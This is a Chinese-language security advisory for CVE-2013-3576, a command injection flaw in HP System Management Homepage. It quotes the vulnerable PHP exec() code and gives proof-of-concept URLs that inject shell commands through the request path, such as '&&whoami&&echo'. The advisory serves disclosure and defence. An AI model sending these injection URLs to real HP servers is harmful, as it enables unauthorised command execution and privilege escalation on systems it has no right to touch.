发布日期：2013-06-14
更新日期：2013-07-10

受影响系统：

HP System Management Homepage

描述：

---

CVE(CAN) ID: CVE-2013-3576

HP System Management Homepage (HP SMH) 是一个基于 Web 的界面，可整合和简化对运行 HP-UX、Linux 和 Microsoft Windows 操作系统的 HP 服务器的单系统管理过程。

HP System Management Homepage 存在命令注入漏洞，可导致任意命令执行和权限提升。此漏洞位于`C:\hp\hpsmh\data\smhutil`或`/opt/hp/hpsmh/data/smhutil`目录内的`ginkgosnmp.inc` PHP文件中，具体是在`ginkgosnmp.inc`脚本中。用在 `exec` 函数内的所请求URL路径没有被正确转义。

<*来源：Markus Wulftange
  
  链接：http://www.kb.cert.org/vuls/id/735364
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

$tempfilename = "$sessiondir/" . substr($_SERVER["SCRIPT_URL"], 1 + strrpos($_SERVER["SCRIPT_URL"], '/')) . uniqid(".", true) . time() . ".txt";

[...]

if("Linux" == PHP_OS)
$cmd = "../../webapp-data/webagent/csginkgo -f$tempfilename";
else
{
$windrive = substr( $_SERVER["WINDIR"], 0, 2 );
$cmd = "$windrive\\hp\\hpsmh\\data\\smhutil\\csginkgo.exe -f$tempfilename";
}

exec( $cmd, $out );

This script is reachable via the URL path `https://<host>:2381/smhutil/snmpchp.php.en`. Due to [Apache’s *MultiViews*] [2] it can also be referenced with any additional path segments after the `snmpchp.php.en` segment: `https://<host>:2381/smhutil/snmpchp.php.en/foo/bar` still triggers `https://<host>:2381/smhutil/snmpchp.php.en` but `$_SERVER["SCRIPT_URL"]` is `https://<host>:2381/smhutil/snmpchp.php.en/foo/bar`. This can be exploited as follows:

https://<host>:2381/smhutil/snmpchp.php.en/&&<cmd>&&echo (full file name)
https://<host>:2381/smhutil/snmpchp.php/&&<cmd>&&echo (without "en" language indicator)
https://<host>:2381/smhutil/snmpchp/&&<cmd>&&echo (without any file name extension)

Besides the path segment separator `/`, the characters `<`, `>`, and `|` are also not allowed, which makes exploiting this vulnerability a little hard.

https://<host>:2381/smhutil/snmpchp/&&whoami&&echo

建议：

---

厂商补丁：

HP
--
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://itrc.hp.com

浏览次数：9047
严重程度：0（网友投票）